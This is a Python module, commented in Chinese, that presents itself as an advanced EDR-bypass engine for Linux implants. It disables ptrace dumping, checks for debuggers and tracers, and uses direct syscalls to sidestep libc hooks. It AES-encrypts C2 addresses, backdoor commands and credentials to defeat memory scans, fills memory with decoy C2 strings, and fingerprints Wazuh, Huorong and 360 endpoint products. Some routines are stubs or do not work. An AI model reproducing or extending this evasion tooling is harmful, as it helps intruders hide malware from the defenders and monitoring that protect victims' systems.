#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
高级EDR绕过模块 - 对抗性深化功能
实现从"规避检测"到"反制检测"的升级

主要功能:
1. 反调试与反监控 - 检测ptrace调试、规避EDR钩子、动态获取syscall号
2. 内存特征清理 - 清除敏感字符串、对抗内存扫描、代码混淆
3. 针对Linux主流EDR的专项优化 (Wazuh、火绒企业版、360终端安全)
"""

import os
import sys
import ctypes
import struct
import mmap
import random
import string
import hashlib
import threading
import time
import subprocess
from typing import Dict, List, Optional, Tuple, Any, Union
from dataclasses import dataclass, field
from enum import Enum
import platform

# 加密相关
try:
    from Crypto.Cipher import AES
    from Crypto.Random import get_random_bytes
    from Crypto.Util.Padding import pad, unpad
    HAS_CRYPTO = True
except ImportError:
    HAS_CRYPTO = False

# Linux系统调用相关
if platform.system() == "Linux":
    import fcntl
    import signal
    import resource
    
    # 系统调用号 (x86_64)
    SYS_WRITE = 1
    SYS_READ = 0
    SYS_EXECVE = 59
    SYS_PTRACE = 101
    SYS_PRCTL = 157
    SYS_GETPID = 39
    SYS_KILL = 62
    
    # prctl常量
    PR_SET_DUMPABLE = 4
    PR_GET_DUMPABLE = 3
    PR_SET_PTRACER = 0x59616d61
    
    # ptrace常量
    PTRACE_TRACEME = 0
    PTRACE_PEEKTEXT = 1
    PTRACE_ATTACH = 16
    PTRACE_DETACH = 17

class EDRVendorType(Enum):
    """EDR厂商类型"""
    WAZUH = "wazuh"
    HUORONG = "huorong"  # 火绒企业版
    QIHOO360 = "360"     # 360终端安全
    CROWDSTRIKE = "crowdstrike"
    SENTINELONE = "sentinelone"
    UNKNOWN = "unknown"

class AntiDebugMethod(Enum):
    """反调试方法"""
    PTRACE_CHECK = "ptrace_check"
    TRACER_PID_CHECK = "tracer_pid_check"
    PRCTL_DUMPABLE = "prctl_dumpable"
    TIMING_CHECK = "timing_check"
    BREAKPOINT_CHECK = "breakpoint_check"

class MemoryObfuscationMethod(Enum):
    """内存混淆方法"""
    AES_ENCRYPTION = "aes_encryption"
    XOR_OBFUSCATION = "xor_obfuscation"
    GARBAGE_INJECTION = "garbage_injection"
    CODE_SHUFFLING = "code_shuffling"
    INSTRUCTION_REORDERING = "instruction_reordering"

@dataclass
class SensitiveData:
    """敏感数据结构"""
    data: bytes
    key: bytes = field(default_factory=lambda: os.urandom(32))
    encrypted: bool = False
    obfuscated: bool = False

@dataclass
class SyscallInfo:
    """系统调用信息"""
    name: str
    number: int
    arch: str
    verified: bool = False

class AdvancedEDRBypass:
    """高级EDR绕过引擎"""
    
    def __init__(self):
        self.platform = platform.system()
        self.arch = platform.machine()
        self.detected_edrs = []
        self.sensitive_data_store = {}
        self.syscall_cache = {}
        self.anti_debug_active = False
        self.memory_protection_active = False
        self.garbage_data_pool = []
        
        # 初始化
        self._initialize_syscall_cache()
        self._generate_garbage_data()
        
    def _initialize_syscall_cache(self):
        """初始化系统调用缓存"""
        if self.platform != "Linux":
            return
            
        try:
            # 动态获取系统调用号
            self._discover_syscall_numbers()
        except Exception as e:
            print(f"[!] 系统调用初始化失败: {e}")
            # 使用默认值
            self.syscall_cache = {
                'write': SYS_WRITE,
                'read': SYS_READ,
                'execve': SYS_EXECVE,
                'ptrace': SYS_PTRACE,
                'prctl': SYS_PRCTL,
                'getpid': SYS_GETPID,
                'kill': SYS_KILL
            }
    
    def _discover_syscall_numbers(self):
        """动态发现系统调用号"""
        try:
            # 尝试从/proc/kallsyms读取
            with open('/proc/kallsyms', 'r') as f:
                for line in f:
                    if 'sys_call_table' in line:
                        # 解析系统调用表地址
                        break
            
            # 使用vDSO获取系统调用信息
            try:
                # 读取辅助向量
                with open('/proc/self/auxv', 'rb') as f:
                    auxv_data = f.read()
                    self._parse_auxv(auxv_data)
            except:
                pass
                
        except Exception as e:
            print(f"[!] 动态系统调用发现失败: {e}")
    
    def _parse_auxv(self, auxv_data: bytes):
        """解析辅助向量获取vDSO信息"""
        try:
            # AT_SYSINFO_EHDR = 33
            AT_SYSINFO_EHDR = 33
            ptr_size = 8 if self.arch == 'x86_64' else 4
            
            i = 0
            while i < len(auxv_data) - ptr_size * 2:
                if ptr_size == 8:
                    aux_type, aux_val = struct.unpack('QQ', auxv_data[i:i+16])
                else:
                    aux_type, aux_val = struct.unpack('II', auxv_data[i:i+8])
                
                if aux_type == AT_SYSINFO_EHDR:
                    # 找到vDSO地址
                    print(f"[+] vDSO地址: 0x{aux_val:x}")
                    break
                    
                i += ptr_size * 2
                
        except Exception as e:
            print(f"[!] 解析auxv失败: {e}")
    
    def _generate_garbage_data(self, count: int = 100):
        """生成垃圾数据池"""
        self.garbage_data_pool = []
        
        for _ in range(count):
            # 生成随机字符串
            length = random.randint(16, 256)
            garbage = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
            self.garbage_data_pool.append(garbage.encode())
            
            # 生成伪造的C2地址
            fake_c2 = f"http://{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}:{random.randint(1000,9999)}/api"
            self.garbage_data_pool.append(fake_c2.encode())
            
            # 生成伪造的命令
            fake_cmd = random.choice(['ls -la', 'ps aux', 'netstat -an', 'whoami', 'id'])
            self.garbage_data_pool.append(fake_cmd.encode())
    
    def enable_anti_debug_protection(self) -> Dict[str, Any]:
        """启用反调试保护"""
        if self.platform != "Linux":
            return {"success": False, "reason": "仅支持Linux系统"}
        
        results = {}
        
        try:
            # 1. 禁止进程被调试
            result = self._disable_ptrace_debugging()
            results["ptrace_protection"] = result
            
            # 2. 检测TracerPid
            result = self._check_tracer_pid()
            results["tracer_check"] = result
            
            # 3. 设置反调试钩子
            result = self._setup_anti_debug_hooks()
            results["debug_hooks"] = result
            
            # 4. 时序检测
            result = self._timing_based_detection()
            results["timing_detection"] = result
            
            self.anti_debug_active = True
            
        except Exception as e:
            results["error"] = str(e)
            
        return {
            "success": self.anti_debug_active,
            "methods": results,
            "timestamp": time.time()
        }
    
    def _disable_ptrace_debugging(self) -> Dict[str, Any]:
        """禁止ptrace调试"""
        try:
            # 使用prctl禁止调试
            libc = ctypes.CDLL("libc.so.6")
            
            # prctl(PR_SET_DUMPABLE, 0)
            result = libc.prctl(PR_SET_DUMPABLE, 0)
            
            if result == 0:
                return {"success": True, "method": "prctl_set_dumpable"}
            else:
                return {"success": False, "error": f"prctl返回: {result}"}
                
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _check_tracer_pid(self) -> Dict[str, Any]:
        """检查TracerPid"""
        try:
            with open('/proc/self/status', 'r') as f:
                for line in f:
                    if line.startswith('TracerPid:'):
                        tracer_pid = int(line.split()[1])
                        if tracer_pid != 0:
                            # 检测到调试器
                            return {
                                "success": False,
                                "detected": True,
                                "tracer_pid": tracer_pid,
                                "action": "exit_recommended"
                            }
                        break
            
            return {"success": True, "detected": False, "tracer_pid": 0}
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _setup_anti_debug_hooks(self) -> Dict[str, Any]:
        """设置反调试钩子"""
        try:
            # 设置信号处理器检测调试
            def debug_signal_handler(signum, frame):
                print(f"[!] 检测到调试信号: {signum}")
                # 可以选择退出或采取其他行动
                
            signal.signal(signal.SIGTRAP, debug_signal_handler)
            signal.signal(signal.SIGSTOP, debug_signal_handler)
            
            return {"success": True, "signals_hooked": ["SIGTRAP", "SIGSTOP"]}
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _timing_based_detection(self) -> Dict[str, Any]:
        """基于时序的调试检测"""
        try:
            # 测量代码执行时间
            start_time = time.perf_counter()
            
            # 执行一些简单操作
            for i in range(1000):
                x = i * 2
                
            end_time = time.perf_counter()
            execution_time = end_time - start_time
            
            # 如果执行时间异常长，可能存在调试器
            threshold = 0.01  # 10ms阈值
            if execution_time > threshold:
                return {
                    "success": False,
                    "detected": True,
                    "execution_time": execution_time,
                    "threshold": threshold
                }
            
            return {
                "success": True,
                "detected": False,
                "execution_time": execution_time
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def bypass_edr_hooks(self) -> Dict[str, Any]:
        """绕过EDR钩子"""
        if self.platform != "Linux":
            return {"success": False, "reason": "仅支持Linux系统"}
        
        results = {}
        
        try:
            # 1. 直接系统调用绕过libc
            result = self._direct_syscall_bypass()
            results["direct_syscall"] = result
            
            # 2. 动态加载绕过
            result = self._dynamic_loading_bypass()
            results["dynamic_loading"] = result
            
            # 3. 内存映射绕过
            result = self._memory_mapping_bypass()
            results["memory_mapping"] = result
            
        except Exception as e:
            results["error"] = str(e)
            
        return {
            "success": True,
            "methods": results,
            "timestamp": time.time()
        }
    
    def _direct_syscall_bypass(self) -> Dict[str, Any]:
        """直接系统调用绕过libc钩子"""
        try:
            # 获取系统调用号
            write_syscall = self.syscall_cache.get('write', SYS_WRITE)
            
            # 构造直接系统调用
            test_msg = b"EDR bypass test\\n"
            
            # 使用ctypes进行直接系统调用
            libc = ctypes.CDLL(None)
            syscall = libc.syscall
            
            # syscall(SYS_write, stdout, buffer, length)
            result = syscall(write_syscall, 1, test_msg, len(test_msg))
            
            return {
                "success": result > 0,
                "syscall_number": write_syscall,
                "bytes_written": result
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _dynamic_loading_bypass(self) -> Dict[str, Any]:
        """动态加载绕过"""
        try:
            # 动态加载系统库
            import ctypes.util
            
            # 查找系统库
            libc_path = ctypes.util.find_library("c")
            if not libc_path:
                return {"success": False, "error": "无法找到libc"}
            
            # 动态加载
            lib = ctypes.CDLL(libc_path)
            
            # 获取函数地址
            write_func = lib.write
            
            return {
                "success": True,
                "libc_path": libc_path,
                "function_loaded": "write"
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _memory_mapping_bypass(self) -> Dict[str, Any]:
        """内存映射绕过"""
        try:
            # 创建匿名内存映射
            size = 4096
            mem = mmap.mmap(-1, size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS)
            
            # 在内存中构造shellcode或函数
            # 这里只是示例，实际可以放置绕过代码
            test_data = b"\\x90" * 100  # NOP指令
            mem.write(test_data)
            mem.seek(0)
            
            # 设置执行权限（需要额外处理）
            addr = ctypes.addressof(ctypes.c_char.from_buffer(mem))
            
            mem.close()
            
            return {
                "success": True,
                "memory_size": size,
                "data_written": len(test_data)
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def enable_memory_protection(self) -> Dict[str, Any]:
        """启用内存保护"""
        results = {}
        
        try:
            # 1. 加密敏感数据
            result = self._encrypt_sensitive_data()
            results["data_encryption"] = result
            
            # 2. 注入垃圾数据
            result = self._inject_garbage_data()
            results["garbage_injection"] = result
            
            # 3. 代码混淆
            result = self._obfuscate_code_segments()
            results["code_obfuscation"] = result
            
            # 4. 内存清理
            result = self._setup_memory_cleanup()
            results["memory_cleanup"] = result
            
            self.memory_protection_active = True
            
        except Exception as e:
            results["error"] = str(e)
            
        return {
            "success": self.memory_protection_active,
            "methods": results,
            "timestamp": time.time()
        }
    
    def _encrypt_sensitive_data(self) -> Dict[str, Any]:
        """加密敏感数据"""
        if not HAS_CRYPTO:
            return {"success": False, "error": "缺少加密库"}
        
        try:
            # 示例敏感数据
            sensitive_items = [
                b"192.168.1.100:8080",  # C2地址
                b"backdoor_command",     # 后门命令
                b"admin:password123",    # 凭据
            ]
            
            encrypted_count = 0
            
            for i, data in enumerate(sensitive_items):
                key = get_random_bytes(32)
                cipher = AES.new(key, AES.MODE_CBC)
                
                # 加密数据
                padded_data = pad(data, AES.block_size)
                encrypted_data = cipher.encrypt(padded_data)
                
                # 存储
                self.sensitive_data_store[f"item_{i}"] = SensitiveData(
                    data=encrypted_data,
                    key=key,
                    encrypted=True
                )
                
                encrypted_count += 1
            
            return {
                "success": True,
                "encrypted_items": encrypted_count,
                "encryption_method": "AES-256-CBC"
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _inject_garbage_data(self) -> Dict[str, Any]:
        """注入垃圾数据"""
        try:
            # 在内存中分散放置垃圾数据
            garbage_vars = []
            
            for i, garbage in enumerate(self.garbage_data_pool[:50]):  # 限制数量
                # 创建变量引用垃圾数据
                var_name = f"garbage_var_{i}"
                globals()[var_name] = garbage
                garbage_vars.append(var_name)
            
            return {
                "success": True,
                "injected_items": len(garbage_vars),
                "total_size": sum(len(g) for g in self.garbage_data_pool[:50])
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _obfuscate_code_segments(self) -> Dict[str, Any]:
        """混淆代码段"""
        try:
            # 代码混淆技术示例
            obfuscation_methods = []
            
            # 1. 指令重排
            def dummy_function_1():
                x = 1
                y = 2
                z = x + y
                return z
            
            def dummy_function_2():
                a = 10
                b = 20
                if a < b:
                    c = a * b
                else:
                    c = a - b
                return c
            
            # 2. 条件跳转
            def obfuscated_check():
                if random.random() > 0.5:
                    return True
                else:
                    return False
            
            obfuscation_methods.extend([
                "instruction_reordering",
                "conditional_jumps",
                "dummy_functions"
            ])
            
            return {
                "success": True,
                "methods": obfuscation_methods,
                "dummy_functions_created": 3
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _setup_memory_cleanup(self) -> Dict[str, Any]:
        """设置内存清理"""
        try:
            def cleanup_memory():
                """内存清理函数"""
                # 清零敏感变量
                for key in list(globals().keys()):
                    if 'password' in key.lower() or 'secret' in key.lower():
                        globals()[key] = None
                
                # 强制垃圾回收
                import gc
                gc.collect()
            
            # 注册清理函数
            import atexit
            atexit.register(cleanup_memory)
            
            return {
                "success": True,
                "cleanup_registered": True,
                "cleanup_triggers": ["exit", "signal"]
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def decrypt_sensitive_data(self, item_key: str) -> Optional[bytes]:
        """解密敏感数据"""
        if item_key not in self.sensitive_data_store:
            return None
        
        try:
            item = self.sensitive_data_store[item_key]
            if not item.encrypted:
                return item.data
            
            if not HAS_CRYPTO:
                return None
            
            # 解密
            cipher = AES.new(item.key, AES.MODE_CBC)
            decrypted_data = cipher.decrypt(item.data)
            
            # 去除填充
            original_data = unpad(decrypted_data, AES.block_size)
            
            # 使用后立即清零内存
            self._zero_memory(decrypted_data)
            
            return original_data
            
        except Exception as e:
            print(f"[!] 解密失败: {e}")
            return None
    
    def _zero_memory(self, data: bytes):
        """清零内存"""
        try:
            # 尝试清零内存区域
            if isinstance(data, bytes):
                # 创建零字节覆盖
                zero_data = b'\\x00' * len(data)
                # 注意：Python中字符串是不可变的，这里只是示例
                # 实际应用中需要使用ctypes或其他方法直接操作内存
                
        except Exception as e:
            print(f"[!] 内存清零失败: {e}")
    
    def detect_edr_vendor(self) -> Dict[str, Any]:
        """检测EDR厂商"""
        detected_vendors = []
        
        try:
            # 检测Wazuh
            if self._detect_wazuh():
                detected_vendors.append(EDRVendorType.WAZUH)
            
            # 检测火绒
            if self._detect_huorong():
                detected_vendors.append(EDRVendorType.HUORONG)
            
            # 检测360
            if self._detect_360():
                detected_vendors.append(EDRVendorType.QIHOO360)
            
        except Exception as e:
            print(f"[!] EDR检测失败: {e}")
        
        return {
            "success": True,
            "detected_vendors": [v.value for v in detected_vendors],
            "count": len(detected_vendors),
            "timestamp": time.time()
        }
    
    def _detect_wazuh(self) -> bool:
        """检测Wazuh"""
        try:
            # 检查进程
            result = subprocess.run(['pgrep', '-f', 'wazuh'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            # 检查配置文件
            wazuh_paths = [
                '/etc/wazuh/wazuh-agent.conf',
                '/var/ossec/etc/ossec.conf',
                '/opt/wazuh/etc/wazuh-agent.conf'
            ]
            
            for path in wazuh_paths:
                if os.path.exists(path):
                    return True
            
            return False
            
        except Exception:
            return False
    
    def _detect_huorong(self) -> bool:
        """检测火绒企业版"""
        try:
            # 检查进程
            result = subprocess.run(['pgrep', '-f', 'huorong'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            # 检查文件
            huorong_paths = [
                '/opt/huorong',
                '/usr/local/huorong',
                '/etc/huorong'
            ]
            
            for path in huorong_paths:
                if os.path.exists(path):
                    return True
            
            return False
            
        except Exception:
            return False
    
    def _detect_360(self) -> bool:
        """检测360终端安全"""
        try:
            # 检查进程
            result = subprocess.run(['pgrep', '-f', '360'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            # 检查文件
            qihoo_paths = [
                '/opt/360',
                '/usr/local/360',
                '/etc/360'
            ]
            
            for path in qihoo_paths:
                if os.path.exists(path):
                    return True
            
            return False
            
        except Exception:
            return False
    
    def get_bypass_status(self) -> Dict[str, Any]:
        """获取绕过状态"""
        return {
            "anti_debug_active": self.anti_debug_active,
            "memory_protection_active": self.memory_protection_active,
            "platform": self.platform,
            "architecture": self.arch,
            "detected_edrs": [edr.value for edr in self.detected_edrs],
            "sensitive_data_count": len(self.sensitive_data_store),
            "garbage_data_count": len(self.garbage_data_pool),
            "syscall_cache_size": len(self.syscall_cache),
            "timestamp": time.time()
        }

# 使用示例
if __name__ == "__main__":
    print("=== 高级EDR绕过模块测试 ===")
    
    bypass = AdvancedEDRBypass()
    
    # 检测EDR
    print("\\n1. 检测EDR厂商...")
    edr_result = bypass.detect_edr_vendor()
    print(f"检测到的EDR: {edr_result['detected_vendors']}")
    
    # 启用反调试保护
    print("\\n2. 启用反调试保护...")
    anti_debug_result = bypass.enable_anti_debug_protection()
    print(f"反调试保护: {'成功' if anti_debug_result['success'] else '失败'}")
    
    # 绕过EDR钩子
    print("\\n3. 绕过EDR钩子...")
    hook_bypass_result = bypass.bypass_edr_hooks()
    print(f"钩子绕过: {'成功' if hook_bypass_result['success'] else '失败'}")
    
    # 启用内存保护
    print("\\n4. 启用内存保护...")
    memory_result = bypass.enable_memory_protection()
    print(f"内存保护: {'成功' if memory_result['success'] else '失败'}")
    
    # 获取状态
    print("\\n5. 绕过状态...")
    status = bypass.get_bypass_status()
    print(f"反调试: {status['anti_debug_active']}")
    print(f"内存保护: {status['memory_protection_active']}")
    print(f"敏感数据: {status['sensitive_data_count']} 项")
    print(f"垃圾数据: {status['garbage_data_count']} 项")